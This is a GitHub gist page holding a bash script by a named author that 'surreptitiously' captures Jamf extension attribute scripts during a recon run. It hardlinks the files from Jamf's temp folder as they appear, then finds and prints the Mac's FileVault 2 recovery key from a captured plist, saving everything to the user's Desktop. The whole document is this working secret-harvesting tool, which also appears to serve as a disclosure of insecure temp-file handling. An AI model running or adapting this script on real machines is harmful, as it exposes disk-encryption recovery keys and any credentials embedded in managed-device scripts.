Skip to content

Instantly share code, notes, and snippets.

@brunerd

brunerd/EAGrabber.sh Secret

Last active Nov 7, 2020
Embed
What would you like to do?
Grab Jamf Extension Attributes (including recovery key) as they come down during recon
#!/bin/bash
# Joel Bruner - EA Grabber: Surreptitiously grabs Jamf Extension Attributes (EAs) during recon
#touch file for debug
[ -f /tmp/debug ] && set -x
#############
# VARIABLES #
#############
#get console user
consoleUser=$(stat -f %Su /dev/console)
#get home folder path of console user for output
consoleUserHome=$(dscl . read /Users/"${consoleUser}" NFSHomeDirectory | awk -F ": " '{print $2}')
#used for the output folder
dateStamp=$(date +"%Y-%m-%d %H.%M")
#date stamped named folder for the root
capturePath_Root="${consoleUserHome}/Desktop/EAGrabber_${dateStamp}"
#sub folders
capturePath_EA_Raw="${capturePath_Root}/EAs_Raw"
capturePath_EA_Renamed="${capturePath_Root}/EAs_Renamed"
capturePath_FV2Key="${capturePath_Root}/FV2Key"
reconOutputFile="${capturePath_Root}/verboseReconRAW.txt"
processCaptureFile="${capturePath_Root}/processCapture.log"
EANamesFile="${capturePath_Root}/EA_Names.txt"
#where jamf puts it's scripts when it runs
jamfTempFolder="/Library/Application Support/JAMF/tmp"
#############
# FUNCTIONS #
#############
function captureFiles
{
#make root folder and it's sub folder
mkdir -p "${capturePath_EA_Raw}"
#to protect from runaway the script will kill itself neatly if not done in 3 minutes
( sleep 480; kill -9 $$ ) &
suicideWatchPID=$!
#flush any temp files remaining in here
rm "${jamfTempFolder}"/* 2>/dev/null
echo "Starting jamf recon..."
#start recon in background and get the output text into a file
jamf recon -verbose 2>/dev/null 1>"${reconOutputFile}" &
#until the jamf recon process is done, loop and hardlink to scripts
while [ "$(ps auxww | grep -c [j]amf\ recon)" -ne 0 ]; do
#find all files and make hard links in capture folder
find "${jamfTempFolder}" -exec ln "{}" "${capturePath_EA_Raw}"/ 2>/dev/null \;
done
}
function processFiles
{
#make folder for key
mkdir "${capturePath_FV2Key}"
#remove the tmp file (of ethernet MAC addresses) sometimes captured
rm "${capturePath_EA_Raw}"/*tmp 2>/dev/null
rm "${capturePath_EA_Raw}"/*pid 2>/dev/null
#count the files, use bc to trim wc's output
captureCount=$(wc -l <<< "$(find "${capturePath_EA_Raw}" -type f)" | bc)
echo "Captured ${captureCount} extension attributes..."
#find the fv2 file, echo out result, then and move it
for file in "${capturePath_EA_Raw}"/*; do
#get 0 or 1 for match
keyFound=$(grep -c '<key>Password</key>' "$file" 2>/dev/null)
#if 1 we have a match let's print it
if [ "${keyFound}" -eq 1 ]; then
#get key data and echo it out
FV2Key=$(/usr/libexec/PlistBuddy -c "print Password" "$file" 2>/dev/null)
echo "FileVault 2 Key: ${FV2Key}"
#move file into fv2 folder
mv "${file}" "${capturePath_FV2Key}"/fv2key.plist
break;
fi
done
}
function renameFiles
{
#make new folder
mkdir "${capturePath_EA_Renamed}"
#chage IFS so only newlines make new array elements
IFS=$'\n'
#get the file names from the verbose recon output file
filenames=$(grep "Running script for the extension attribute" "${reconOutputFile}" | awk -F 'attribute ' '{print $NF}')
filenames_Array=( ${filenames} )
echo "${filenames}" > "${EANamesFile}"
#get all the raw file names from newest to oldest
rawFiles_Array=( $(ls -r1t "${capturePath_EA_Raw}") )
echo "Attempting to rename files..."
#rename all the EAs in order - the weakness here is that we expect to have gotten all the files
#but if we missed a file this or something gets out of sequence it'll be off (that's why we have the saw folder)
for ((i=0; i < ${#filenames_Array[@]}; i++ )); do
[ -z "${rawFiles_Array[$i]}" ] && continue
#determine the file extension from the first #! line
case "$(head -n1 "${capturePath_EA_Raw}/${rawFiles_Array[$i]}")" in
*python* )
extension="py" ;;
#default to shell
* )
extension="sh" ;;
esac
#make a file copy from raw to the renamed folder
cp "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Renamed}/${filenames_Array[$i]}.${extension}"
#at the very least add .sh to the end so spotlight works on them instead of the Unix executable icon
mv "${capturePath_EA_Raw}/${rawFiles_Array[$i]}" "${capturePath_EA_Raw}/${rawFiles_Array[$i]}".sh
done
}
function systemCheck
{
#run this as root so we don't get prompted for password when sudo jamf runs
if [ "${USER}" != 'root' ]; then
echo "Please run with sudo"
exit
fi
#runs finishUp if INT TERM or HUP signal received
trap 'finishUp' TERM INT HUP
}
function finishUp
{
#kill the background suicide process if it still exists (tail cuts header off ps)
[ -n "$(ps -p ${suicideWatchPID} 2>/dev/null | tail -n +2)" ] && kill -9 "${suicideWatchPID}"
#own the folder for console user
chown -R "${consoleUser}":staff "${capturePath_Root}"
echo "Done."
echo "Opening results in ${capturePath_Root}"
#open it for the console user
su $consoleUser -c "open \"${capturePath_Root}\""
}
########
# MAIN #
########
systemCheck
captureFiles
processFiles
renameFiles
finishUp
exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.